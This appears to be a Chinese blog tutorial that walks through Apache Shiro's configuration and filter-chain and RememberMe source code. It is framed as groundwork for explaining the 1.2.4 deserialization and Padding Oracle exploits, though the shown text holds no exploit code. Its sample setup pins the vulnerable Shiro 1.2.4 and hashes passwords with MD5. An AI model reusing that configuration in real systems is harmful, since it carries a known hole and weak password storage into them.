0x00 前言

Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro’s easy-to-understand API, you can quickly and easily secure any application – from the smallest mobile applications to the largest web and enterprise applications.

Apache Shiro是一个功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理。通过Shiro易于理解的API,您可以快速、轻松地保护任何应用程序——从最小的移动应用程序到最大的web和企业应用程序。

Apache Shiro框架功能主要由以下几个部分组成:

  • Authentication:身份认证-登录
  • Authorization:授权-权限验证
  • Session Manager:会话管理
  • Cryptography:加密
  • Web Support:Web 支持
  • Caching:缓存
  • Concurrency:多线程
  • Testing:测试模块
  • Run As:允许一个用户假装为另一个用户
  • Remember Me:记住我-Session过期后再次登录无需再次登录

一个包含如此多功能模块的框架,我一向认为其必然存在着我们发现和未发现的安全漏洞,而事实也是如此,早在Shiro 1.2.4版本前,就被暴露了Cryptography模块因为默认AES加密key导致Remember Me模块的反序列化漏洞,在其被修复(每次启动都生成一个新的AES加密key)的几年后,依然是这个地方,出现了令我万万没想到的Padding Oracle漏洞,我一直以为这样的漏洞也就CTF会出现,这个洞也警醒了我,CTF每一个知识点,在真实漏洞挖掘中,都非常重要。

而本篇文章,我将会用我一贯的源码浅析方式,对Apache Shiro的核心部分代码进行讲解,并且最后会以1.2.4版本的远古洞的触发原理,对源码进行深入的讲解,接着引出最新的Padding Oracle CBC Attack,从而让我们在看完这篇文章后,能熟悉的写出Shiro exploit,并对Shiro框架的主要原理聊熟于胸,还有最重要的一点是,现在网络上很多讲解漏洞的文章,都是简单的讲解漏洞,对这些框架的使用方法以及使用场景等都缺乏描述,对新手极度不友好,

0x01 Shiro源码浅析

在进行源码浅析之前,我们先了解一下Shiro如何在一个SpringMVC项目中简单的使用。

1. Shiro简单使用

我曾经在做Java开发的时候,我有幸为几个系统加入过Shiro框架,也对其功能不足处进行了一些简单的定制修改。

曾经有个系统后台由于不满足等保要求,需要对其后台的登录验证进行重构,在其重构的过程中,我发现该后台只有单个硬编码的用户账号,而该账号被业务方大量的运营和开发人员使用,对于后台任何的配置和功能都能进行修改,这是一个极大的安全隐患,因此,我考虑在重构的后台系统中,加入了Shiro,为后台系统加入若干的特性,使其更加的安全坚固:

  1. 多用户支持
  2. 用户数据存库
  3. 权限精细化-粒度到页面按钮
  4. 用户禁用
  5. 等等...

多用户支持用户数据存库:原系统仅有单个硬编码账号,源码泄露将会导致账号密码泄露。而运营也是一个很大的不稳定因素,如果某个运营对一些关键配置进行了修改,将会威胁到系统的稳定运行。

权限精细化-粒度到页面按钮:前面也说了运营用户的潜在不稳定因素,所以加入了权限精细到页面按钮的的权限管理,可以控制每个运营人员具备的权限功能,对于一些涉及到系统安全的功能,我们就能更好的控制。

用户禁用:在后台系统中,我们会对每个账号的操作进行操作日志的持久化,如果我们发现某个账号进行了大量的敏感操作,存在安全风险,我们可以通过用户禁用功能对其账号进行快速的禁用。

以上就是我对Shiro使用的一些简单总结,除此以外,还有很多,比如我曾经在某个古老的项目中使用Shiro后,没办法通过注解方式对接口方法进行权限的控制,最后得益于Shiro优秀的设计,通过一些比较特殊的方法达到方法级的权限控制等。

在简述了我对Shiro的一些使用后,我们接下来就讲讲Shiro,如何去配置使用。

1.1 依赖(pom.xml)
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-ehcache</artifactId>
    <version>1.2.4</version>
</dependency>
<dependency>
    <groupId>net.sf.ehcache</groupId>
    <artifactId>ehcache-core</artifactId>
    <version>2.4.3</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.4</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring</artifactId>
    <version>1.2.4</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-web</artifactId>
    <version>1.2.4</version>
</dependency>
1.2 web配置(web.xml)
<!-- spring 配置-->
<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:applicationContext.xml,classpath:spring-shiro.xml</param-value>
</context-param>


<servlet>
    <servlet-name>spring</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:spring-servlet.xml,classpath:spring-shiro.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>spring</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>
<!-- shiro的filter-->
<filter>
    <filter-name>shiroFilter</filter-name>
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
      <param-name>targetFilterLifecycle</param-name>
      <param-value>true</param-value>
    </init-param>
</filter>
<!-- shiro的filter-mapping-->
<filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
1.3 shiro配置(spring-shiro.xml)
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 开启shiro注解-->
    <bean class="org.springframework.aop.framework.autoproxy.DefaultAdvisorAutoProxyCreator" depends-on="lifecycleBeanPostProcessor">
        <property name="proxyTargetClass" value="true" />
    </bean>

    <bean class="org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor">
        <property name="securityManager" ref="securityManager"/>
    </bean>

    <bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
        <property name="maxUploadSize" value="#{10*1024*1024}"/>
        <property name="maxInMemorySize" value="4096"/>
    </bean>


    <!-- 对应于web.xml中配置的那个shiroFilter -->
    <bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
        <!-- Shiro的核心安全接口,这个属性是必须的 -->
        <property name="securityManager" ref="securityManager"/>
        <!-- 要求登录时的链接(登录页面地址),非必须的属性,默认会自动寻找Web工程根目录下的"/login.jsp"页面 -->
        <property name="loginUrl" value="/jsp/login.jsp"/>
        <!-- 登录成功后要跳转的连接(本例中此属性用不到,因为登录成功后的处理逻辑在LoginController里硬编码) -->
        <!-- <property name="successUrl" value="/" ></property> -->
        <!-- 用户访问未对其授权的资源时,所显示的连接 -->
        <property name="unauthorizedUrl" value="/html/error.html"/>

        <property name="filterChainDefinitions">
            <value>
                /html/admin/**=authc,roles[admin]
                /html/user/**=user,roles[user]
                /jsp/admin/**=authc,roles[admin]
                /jsp/user/**=user,roles[user]
                <!--/dologin=ssl-->
            </value>
        </property>
    </bean>
    <bean id="lifecycleBeanPostProcessor" class="org.apache.shiro.spring.LifecycleBeanPostProcessor"></bean>
    <!-- 数据库保存的密码是使用MD5算法加密的,所以这里需要配置一个密码匹配对象 -->
    <bean id="credentialsMatcher" class="org.apache.shiro.authc.credential.Md5CredentialsMatcher"></bean>
    <!-- 缓存管理 -->
    <bean id="shiroCacheManager" class="org.apache.shiro.cache.MemoryConstrainedCacheManager"></bean>

    <!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户、角色、权限许可的数据源及相关查询语句 -->
    <bean id="jdbcRealm" class="org.apache.shiro.realm.jdbc.JdbcRealm">
        <property name="credentialsMatcher" ref="credentialsMatcher"></property>
        <property name="permissionsLookupEnabled" value="true"></property>
        <property name="dataSource" ref="dataSource"></property>
        <property name="authenticationQuery" value="SELECT passwd FROM userTB WHERE login_name = ?"></property>
        <property name="userRolesQuery" value="SELECT role_name from userTB left join roleTB using(role_id) WHERE login_name = ?"></property>
        <property name="permissionsQuery" value="SELECT permission_name FROM permissionTB left join roleTB using(role_id) WHERE role_name = ?"></property>
    </bean>
    <!-- Shiro安全管理器 -->
    <bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
        <property name="realm" ref="jdbcRealm"></property>
        <property name="cacheManager" ref="shiroCacheManager"></property>
    </bean>
</beans>
1.4 登录和注销接口
@Controller
@SessionAttributes("user")
public class LoginAndLogoutController {
    @Autowired
    private LoginAndLogoutService loginAndLogoutService;
    @RequestMapping(value = "/dologin",method = RequestMethod.POST)
    public String doLogin(User user, ModelMap model){
        System.out.println("用户"+user.getLoginName()+"正在登录........!");
        return loginAndLogoutService.doLogin(user,model);
    }
    @RequestMapping(value = "/dologout",method = RequestMethod.GET)
    public String doLogout(User user,ModelMap model){
        System.out.println("用户"+user.getLoginName()+"正在注销........!");
        return loginAndLogoutService.doLogout(model);
    }
}

@Service
public class LoginAndLogoutService {
    @Autowired
    private ApplicationContext applicationContext;
    public String doLogin(User user, ModelMap model){
        UsernamePasswordToken token = new UsernamePasswordToken(user.getLoginName(),user.getPasswd());
        token.setRememberMe(true);
        Subject subject = SecurityUtils.getSubject();
        String msg;
        try {
            subject.login(token);
            if (subject.isAuthenticated()) {
                System.out.println("登录成功!");
                UserDao userDao = (UserDao) applicationContext.getBean("userDao");
                List<User> users = userDao.getUserByLoginName(user);
                model.put("user", users.get(0));
                if (subject.hasRole("admin")) {
                    return "redirect:/html/admin/center.html";
                } else {
                    return "redirect:/html/user/center.html";
                }
            }
        }catch (IncorrectCredentialsException e) {
            msg = "登录密码错误. Password for account " + token.getPrincipal() + " was incorrect.";
            model.addAttribute("message", msg);
            System.out.println(msg);
        } catch (ExcessiveAttemptsException e) {
            msg = "登录失败次数过多";
            model.addAttribute("message", msg);
            System.out.println(msg);
        } catch (LockedAccountException e) {
            msg = "帐号已被锁定. The account for username " + token.getPrincipal() + " was locked.";
            model.addAttribute("message", msg);
            System.out.println(msg);
        } catch (DisabledAccountException e) {
            msg = "帐号已被禁用. The account for username " + token.getPrincipal() + " was disabled.";
            model.addAttribute("message", msg);
            System.out.println(msg);
        } catch (ExpiredCredentialsException e) {
            msg = "帐号已过期. the account for username " + token.getPrincipal() + " was expired.";
            model.addAttribute("message", msg);
        }catch (UnknownAccountException e) {
            msg = "帐号不存在. There is no user with username of " + token.getPrincipal();
            model.addAttribute("message", msg);
            System.out.println(msg);
        } catch (UnauthorizedException e) {
            msg = "您没有得到相应的授权!" + e.getMessage();
            model.addAttribute("message", msg);
            System.out.println(msg);
        }
        System.out.println("登录失败!");
        return "/jsp/login.jsp";
    }
    public String doLogout(ModelMap model){
        Subject subject = SecurityUtils.getSubject();
        subject.logout();
        model.remove("user");
        return "/jsp/login.jsp";
    }
}

以上便是SpringMVC web中Shiro简单使用的依赖、配置、接口等,通过其,我们就能畅快的使用shiro的各种特性和功能了。

2. 源码运行原理

回顾上面的Shiro的web配置,我们可以发现其中有一个filter的配置

<filter>
    <filter-name>shiroFilter</filter-name>
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
      <param-name>targetFilterLifecycle</param-name>
      <param-value>true</param-value>
    </init-param>
</filter>
<!-- shiro的filter-mapping-->
<filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

从明面上我们只要写过Spring项目都不会陌生,filter注册了一个过滤器,而filter-mapping是对其filter访问过滤url的一个匹配配置,也就是说,上面的filter-mapping配置,规定了shiroFilter这个过滤器,将会过滤任何一个请求到该项目的http请求。

不过,这里还有一个重点,就是DelegatingFilterProxy这个利用了门面模式设计的一个class,它是一个filter的代理类,通过这个类可以代理一个spring容器管理的filter的生命周期,也就是说,可以在Spring容器中创建一个filter bean,然后注入一系列依赖,这个bean可以用代理的方式配置到web.xml中使用。

我们再看会前面的spring-shiro.xml文件,其中,我们配置了这样的一个bean

<!-- 对应于web.xml中配置的那个shiroFilter -->
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
    <!-- Shiro的核心安全接口这个属性是必须的 -->
    <property name="securityManager" ref="securityManager"/>
    <!-- 要求登录时的链接(登录页面地址)非必须的属性默认会自动寻找Web工程根目录下的"/login.jsp"页面 -->
    <property name="loginUrl" value="/jsp/login.jsp"/>
    <!-- 登录成功后要跳转的连接(本例中此属性用不到因为登录成功后的处理逻辑在LoginController里硬编码) -->
    <!-- <property name="successUrl" value="/" ></property> -->
    <!-- 用户访问未对其授权的资源时所显示的连接 -->
    <property name="unauthorizedUrl" value="/html/error.html"/>

    <property name="filterChainDefinitions">
        <value>
            /html/admin/**=authc,roles[admin]
            /html/user/**=user,roles[user]
            /jsp/admin/**=authc,roles[admin]
            /jsp/user/**=user,roles[user]
            <!--/dologin=ssl-->
        </value>
    </property>
</bean>

可以看到,它的bean id和我们在web.xml配置的filter名称是一样的,也就是说,这个filter是它的代理门面类,在访问该web项目时的任何一个请求,都将被shiroFilter这个bean进行过滤。

那么,接下来我们打开org.apache.shiro.spring.web.ShiroFilterFactoryBean这个bean,因为他是一个FactoryBean,因此,在该类的bean真正被使用的时候,会调用其getObject()方法

/**
 * Lazily creates and returns a {@link AbstractShiroFilter} concrete instance via the
 * {@link #createInstance} method.
 *
 * @return the application's Shiro Filter instance used to filter incoming web requests.
 * @throws Exception if there is a problem creating the {@code Filter} instance.
 */
public Object getObject() throws Exception {
    if (instance == null) {
        instance = createInstance();
    }
    return instance;
}

看方法注释可以清楚的看到,这是一个懒加载的bean,当使用到它时,才会调用其getObject()方法,然后再该方法中,我们可以看到,通过createInstance()创建一个真正的实例作为该bean

protected AbstractShiroFilter createInstance() throws Exception {

    log.debug("Creating Shiro Filter instance.");

    SecurityManager securityManager = getSecurityManager();
    if (securityManager == null) {
        String msg = "SecurityManager property must be set.";
        throw new BeanInitializationException(msg);
    }

    if (!(securityManager instanceof WebSecurityManager)) {
        String msg = "The security manager does not implement the WebSecurityManager interface.";
        throw new BeanInitializationException(msg);
    }

    FilterChainManager manager = createFilterChainManager();

    //Expose the constructed FilterChainManager by first wrapping it in a
    // FilterChainResolver implementation. The AbstractShiroFilter implementations
    // do not know about FilterChainManagers - only resolvers:
    PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
    chainResolver.setFilterChainManager(manager);

    //Now create a concrete ShiroFilter instance and apply the acquired SecurityManager and built
    //FilterChainResolver.  It doesn't matter that the instance is an anonymous inner class
    //here - we're just using it because it is a concrete AbstractShiroFilter instance that accepts
    //injection of the SecurityManager and FilterChainResolver:
    return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
}

回顾一开始我们在bean配置文件对ShiroFilterFactoryBean配置,SecurityManager我们配置的是org.apache.shiro.web.mgt.DefaultWebSecurityManager,一个默认的web安全管理器,这个web安全管理器配置了一个realm,该realm我们可以使用shiro包内置的jdbc快捷使用的org.apache.shiro.realm.jdbc.JdbcRealm,也可以我们自定义去实现登录验证和授权相关方法的realm,总的来说,通过web安全管理器,我们可以配置相关的登录验证和授权配置,这也是使用shiro中非常关键的一点。

<!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户角色权限许可的数据源及相关查询语句 -->
<bean id="jdbcRealm" class="org.apache.shiro.realm.jdbc.JdbcRealm">
    <property name="credentialsMatcher" ref="credentialsMatcher"></property>
    <property name="permissionsLookupEnabled" value="true"></property>
    <property name="dataSource" ref="dataSource"></property>
    <property name="authenticationQuery" value="SELECT passwd FROM userTB WHERE login_name = ?"></property>
    <property name="userRolesQuery" value="SELECT role_name from userTB left join roleTB using(role_id) WHERE login_name = ?"></property>
    <property name="permissionsQuery" value="SELECT permission_name FROM permissionTB left join roleTB using(role_id) WHERE role_name = ?"></property>
</bean>
<!-- Shiro安全管理器 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
    <property name="realm" ref="jdbcRealm"></property>
    <property name="cacheManager" ref="shiroCacheManager"></property>
</bean>

如果我们想要使用简洁预置的JdbcRealm,我们只要创建三个表(用户、角色、权限),并把相应的sql查询语句设置好,就能快速的使用Shiro的Jdbc持久化用户、角色、权限数据。

在createInstance()方法的一开始,就会对我们设置的web安全管理器进行校验,只有满足情况下,shiro的功能才能继续并正确使用。

接着,调用其createFilterChainManager()方法,创建一个过滤器链的管理器,它也是shiro中非常核心的部分,我们一般在使用shiro的时候,如果我们要加入图形验证码、短信验证码等验证,都会通过filter的形式添加,然后把它添加到我们要创建的过滤器链的管理器(FilterChainManager),在访问到符合规则配置的path时,就会到达我们添加的图形、短信验证码校验filter中。当然,除了图形、短信验证等逻辑外,我们一般给一些页面、接口,设置成游客可访问,或者登陆状态可访问,亦或者使用rememberMe功能(在用户Session过期后,可以通过Cookie的RememberMe进行重新免登陆认证)等等。

创建好FilterChainManager后,就会把它设置到一个新建的PathMatchingFilterChainResolver中,这个resolver的作用是在一个http请求进来时,用于提取http请求的path,然后匹配相应的FilterChains进行过滤请求。

最后创建一个内部的静态类SpringShiroFilter返回,作为该工厂bean实际创建的bean对象。

我们进一步跟进createFilterChainManager()方法

protected FilterChainManager createFilterChainManager() {

    DefaultFilterChainManager manager = new DefaultFilterChainManager();
    Map<String, Filter> defaultFilters = manager.getFilters();
    //apply global settings if necessary:
    for (Filter filter : defaultFilters.values()) {
        applyGlobalPropertiesIfNecessary(filter);
    }

    //Apply the acquired and/or configured filters:
    Map<String, Filter> filters = getFilters();
    if (!CollectionUtils.isEmpty(filters)) {
        for (Map.Entry<String, Filter> entry : filters.entrySet()) {
            String name = entry.getKey();
            Filter filter = entry.getValue();
            applyGlobalPropertiesIfNecessary(filter);
            if (filter instanceof Nameable) {
                ((Nameable) filter).setName(name);
            }
            //'init' argument is false, since Spring-configured filters should be initialized
            //in Spring (i.e. 'init-method=blah') or implement InitializingBean:
            manager.addFilter(name, filter, false);
        }
    }

    //build up the chains:
    Map<String, String> chains = getFilterChainDefinitionMap();
    if (!CollectionUtils.isEmpty(chains)) {
        for (Map.Entry<String, String> entry : chains.entrySet()) {
            String url = entry.getKey();
            String chainDefinition = entry.getValue();
            manager.createChain(url, chainDefinition);
        }
    }

    return manager;
}

可以看到在创建FilterChainManager的地方,可以分为三个创建步骤

  1. 默认创建的,对其自带的Filter进行全局配置的设置
DefaultFilterChainManager manager = new DefaultFilterChainManager();
Map<String, Filter> defaultFilters = manager.getFilters();
//apply global settings if necessary:
for (Filter filter : defaultFilters.values()) {
    applyGlobalPropertiesIfNecessary(filter);
}
private void applyGlobalPropertiesIfNecessary(Filter filter) {
    applyLoginUrlIfNecessary(filter);
    applySuccessUrlIfNecessary(filter);
    applyUnauthorizedUrlIfNecessary(filter);
}

那默认自带的filter究竟有哪些呢?跟进DefaultFilterChainManager一探究竟

public DefaultFilterChainManager() {
    this.filters = new LinkedHashMap<String, Filter>();
    this.filterChains = new LinkedHashMap<String, NamedFilterList>();
    addDefaultFilters(false);
}
protected void addDefaultFilters(boolean init) {
    for (DefaultFilter defaultFilter : DefaultFilter.values()) {
        addFilter(defaultFilter.name(), defaultFilter.newInstance(), init, false);
    }
}

可以看见,其构造方法调用了addDefaultFilters方法,把DefaultFilter枚举类进行了遍历,然后添加到filter集合中

查看该枚举类,可以发现一共有11个预置的filter:

anon(AnonymousFilter.class),
authc(FormAuthenticationFilter.class),
authcBasic(BasicHttpAuthenticationFilter.class),
logout(LogoutFilter.class),
noSessionCreation(NoSessionCreationFilter.class),
perms(PermissionsAuthorizationFilter.class),
port(PortFilter.class),
rest(HttpMethodPermissionFilter.class),
roles(RolesAuthorizationFilter.class),
ssl(SslFilter.class),
user(UserFilter.class);

而其中,我们最常使用的大概是:

1. anon:无需登录认证即可访问
2. authc:需要登录认证才可访问
3. logout:注销filter
4. perms:具有特点权限授权才可访问
5. roles:某个角色才可访问
6. user:使用RememberMe

以上这些便是第一步所做的一切。

  1. 对我们要添加或者修改的filter进行遍历配置
Map<String, Filter> filters = getFilters();
if (!CollectionUtils.isEmpty(filters)) {
    for (Map.Entry<String, Filter> entry : filters.entrySet()) {
        String name = entry.getKey();
        Filter filter = entry.getValue();
        applyGlobalPropertiesIfNecessary(filter);
        if (filter instanceof Nameable) {
            ((Nameable) filter).setName(name);
        }
        //'init' argument is false, since Spring-configured filters should be initialized
        //in Spring (i.e. 'init-method=blah') or implement InitializingBean:
        manager.addFilter(name, filter, false);
    }
}

不像前面默认预置的filter,从枚举类遍历获取,我们添加或修改的filter,都是首先设置到ShiroFilterFactoryBean中的,所以会从其中读取所以我们需要添加、修改的filter出来,然后进行全局的配置设置

在这一处,我们添加或修改的filter,其实就如我们前面所讲的,我们一般在使用shiro的时候,如果我们要加入图形验证码、短信验证码等验证,都会通过filter的形式添加,这里面的filter就是这一步中遍历的filter了。

  1. 创建过滤器链(filter chains)
Map<String, String> chains = getFilterChainDefinitionMap();
if (!CollectionUtils.isEmpty(chains)) {
    for (Map.Entry<String, String> entry : chains.entrySet()) {
        String url = entry.getKey();
        String chainDefinition = entry.getValue();
        manager.createChain(url, chainDefinition);
    }
}

可以看到,getFilterChainDefinitionMap()方法读取的集合,其实回顾到我们前面所描述的配置spring-shiro.xml中,可以看到,我们其实做了这样的一个配置

/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]

在第一步,就讲述了默认内置的filter具有哪些,以及一些常用的filter

可以看到,上面的四个FilterChainDefinition,都使用了最常用的filter

  • /html/admin/**:该路径的请求,需要当前用户在登录认证后的状态,以及用户为admin角色时才可访问
  • /html/user/**:该路径的请求,在用户曾经登录认证时,勾选了RememberMe,在后续登录状态,也即Session过期后,可以通过Cookie中的RememberMe进行免登录认证
  • /jsp/admin/**:与上述/html/admin/一致
  • /jsp/user/**:与上述/html/user/一致

也就是说,过滤器链的创建,跟这个FilterChainDefinition紧密关联,对于每一个path的配置,都会创建一个相应的过滤器链

看到这里,应该还会有人问,什么是过滤器链?

在shiro中,过滤器链就是我们前面两个步骤中的过滤器组成的一条链,当一个符合路径规则的请求进来后,都需要通过其执行一系列的过滤。

回到createInstance()方法,我们继续跟到下一个,也就是我们之前所说的PathMatchingFilterChainResolver的创建,前面也讲过了,这个resolver的作用是在一个http请求进来时,用于提取http请求的path,然后匹配相应的FilterChains进行过滤请求,也就是说,我们前面根据配置创建的过滤器链,需要通过这个resolver,才能知道某个请求执行哪一个过滤器链,为了一究其匹配原理,我们跟进PathMatchingFilterChainResolver

审阅代码,可以看到一个关键的方法-getChain()

public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
    FilterChainManager filterChainManager = getFilterChainManager();
    if (!filterChainManager.hasChains()) {
        return null;
    }

    String requestURI = getPathWithinApplication(request);

    //the 'chain names' in this implementation are actually path patterns defined by the user.  We just use them
    //as the chain name for the FilterChainManager's requirements
    for (String pathPattern : filterChainManager.getChainNames()) {

        // If the path does match, then pass on to the subclass implementation for specific checks:
        if (pathMatches(pathPattern, requestURI)) {
            if (log.isTraceEnabled()) {
                log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + requestURI + "].  " +
                        "Utilizing corresponding filter chain...");
            }
            return filterChainManager.proxy(originalChain, pathPattern);
        }
    }

    return null;
}

这个方法主要做了三件事情:

  1. 获取并检查FilterChainManager
  2. 获取当前请求的URL
  3. 遍历过滤器链filter chains,匹配当前请求URL相应的filter chain去执行

而上面第三件事情,就是PathMatchingFilterChainResolver的核心,它通过遍历我们前面创建的所有filter chains,回顾前面我们对FilterChainDefinition的配置,它的URL都是一个正则的匹配字符串,也就是说,通过它去正则匹配当前请求的URL,只要能匹配上的第一个filter chain,就是所要执行的过滤器链。

在PathMatchingFilterChainResolver创建成功后,最后会把我们所创建的SecurityManager和PathMatchingFilterChainResolver,参与到SpringShiroFilter的实例化中来,并作为真正的ShiroFilterFactoryBean返回。

SpringShiroFilter是ShiroFilterFactoryBean的一个静态内部类,它通过继承AbstractShiroFilter来实现shiro的核心功能(过滤请求)

private static final class SpringShiroFilter extends AbstractShiroFilter {
    //...
}

先上跟进AbstractShiroFilter以及其父类OncePerRequestFilter,并继续向上跟进源码,我们可以发现,最早它们都实现了javax.servlet.Filter,所以表明它们就是一个不折不扣的过滤器,查看OncePerRequestFilter的源码也能发现其对doFilter()方法的实现,看到这里,大家也会很清晰了,这个filter在请求进来的时候,通过过滤器肯定是会执行到这个方法

public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
        throws ServletException, IOException {
    String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName();
    if ( request.getAttribute(alreadyFilteredAttributeName) != null ) {
        log.trace("Filter '{}' already executed.  Proceeding without invoking this filter.", getName());
        filterChain.doFilter(request, response);
    } else //noinspection deprecation
        if (/* added in 1.2: */ !isEnabled(request, response) ||
            /* retain backwards compatibility: */ shouldNotFilter(request) ) {
        log.debug("Filter '{}' is not enabled for the current request.  Proceeding without invoking this filter.",
                getName());
        filterChain.doFilter(request, response);
    } else {
        // Do invoke this filter...
        log.trace("Filter '{}' not yet executed.  Executing now.", getName());
        request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE);

        try {
            doFilterInternal(request, response, filterChain);
        } finally {
            // Once the request has finished, we're done and we don't
            // need to mark as 'already filtered' any more.
            request.removeAttribute(alreadyFilteredAttributeName);
        }
    }
}

在正常使用情况下,基本都是执行到doFilterInternal()方法,在跟进它的源码可以发现,它是一个抽象方法,因为OncePerRequestFilter是一个抽象类

protected abstract void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain)
            throws ServletException, IOException;

既然这是个抽象类,那么大概这个方法的实现是在其子类里了,果不其然,在其子类AbstractShiroFilter中

protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain)
        throws ServletException, IOException {

    Throwable t = null;

    try {
        final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain);
        final ServletResponse response = prepareServletResponse(request, servletResponse, chain);

        final Subject subject = createSubject(request, response);

        //noinspection unchecked
        subject.execute(new Callable() {
            public Object call() throws Exception {
                updateSessionLastAccessTime(request, response);
                executeChain(request, response, chain);
                return null;
            }
        });
    } catch (ExecutionException ex) {
        t = ex.getCause();
    } catch (Throwable throwable) {
        t = throwable;
    }

    if (t != null) {
        if (t instanceof ServletException) {
            throw (ServletException) t;
        }
        if (t instanceof IOException) {
            throw (IOException) t;
        }
        //otherwise it's not one of the two exceptions expected by the filter method signature - wrap it in one:
        String msg = "Filtered request failed.";
        throw new ServletException(msg, t);
    }
}

这个方法,我总结一下,主要做了两件总要的事情:

  1. 创建Subject
  2. 执行filter chains

那么我们一一跟进去,看看它们到底是如何工作的。

跟进createSubject()方法

protected WebSubject createSubject(ServletRequest request, ServletResponse response) {
    return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject();
}

它通过了WebSubject的Builder,使用了创建者模式去创建这一个Subject的实现WebSubject

继续跟进buildWebSubject()方法

public WebSubject buildWebSubject() {
    Subject subject = super.buildSubject();
    if (!(subject instanceof WebSubject)) {
        String msg = "Subject implementation returned from the SecurityManager was not a " +
                WebSubject.class.getName() + " implementation.  Please ensure a Web-enabled SecurityManager " +
                "has been configured and made available to this builder.";
        throw new IllegalStateException(msg);
    }
    return (WebSubject) subject;
}

Subject->buildSubject

public Subject buildSubject() {
    return this.securityManager.createSubject(this.subjectContext);
}

最终可以发现,是通过我们配置的web安全管理器(WebSecurityManager)来创建Subject的

public Subject createSubject(SubjectContext subjectContext) {
    //create a copy so we don't modify the argument's backing map:
    SubjectContext context = copy(subjectContext);

    //ensure that the context has a SecurityManager instance, and if not, add one:
    context = ensureSecurityManager(context);

    //Resolve an associated Session (usually based on a referenced session ID), and place it in the context before
    //sending to the SubjectFactory.  The SubjectFactory should not need to know how to acquire sessions as the
    //process is often environment specific - better to shield the SF from these details:
    context = resolveSession(context);

    //Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first
    //if possible before handing off to the SubjectFactory:
    context = resolvePrincipals(context);

    Subject subject = doCreateSubject(context);

    //save this subject for future reference if necessary:
    //(this is needed here in case rememberMe principals were resolved and they need to be stored in the
    //session, so we don't constantly rehydrate the rememberMe PrincipalCollection on every operation).
    //Added in 1.2:
    save(subject);

    return subject;
}
  • SubjectContext context = copy(subjectContext);

对SubjectContext的一个简单复制,因为每次请求都应有它自己的一个上下文,不应该混合,所以每次请求,都会通过它去复制一个SubjectContext用于本次请求

  • context = ensureSecurityManager(context);

把安全管理器设置到SubjectContext中

  • context = resolveSession(context);

通过上下文中存储的session id,去会话管理器,回顾我们前面的配置,可以知道是一个ehcache的会话管理器,意味着,我们得回话都是存储在缓存中的,使用ehcache可以更方便的进行集群部署,以同步回话数据

  • context = resolvePrincipals(context);

这个是RememberMe的核心处,也是我们后面要详细讲的地方

  • Subject subject = doCreateSubject(context);

根据前面做的事情,在这一步创建Subject

  • save(subject);

把Subject保存到Session中

上面几点就是createSubject()方法逻辑的大概总结

接下来我们进一步去分析RememberMe模块的逻辑,跟进resolvePrincipals()方法

protected SubjectContext resolvePrincipals(SubjectContext context) {

    PrincipalCollection principals = context.resolvePrincipals();

    if (isEmpty(principals)) {
        log.trace("No identity (PrincipalCollection) found in the context.  Looking for a remembered identity.");

        principals = getRememberedIdentity(context);

        if (!isEmpty(principals)) {
            log.debug("Found remembered PrincipalCollection.  Adding to the context to be used " +
                    "for subject construction by the SubjectFactory.");

            context.setPrincipals(principals);
        } else {
            log.trace("No remembered identity found.  Returning original context.");
        }
    }

    return context;
}

此处可以看到,是从上下文解析出凭证信息PrincipalCollection,如果获取不到,就会调用getRememberedIdentity()方法获取,最后设置到上下文中

protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
    RememberMeManager rmm = getRememberMeManager();
    if (rmm != null) {
        try {
            return rmm.getRememberedPrincipals(subjectContext);
        } catch (Exception e) {
            if (log.isWarnEnabled()) {
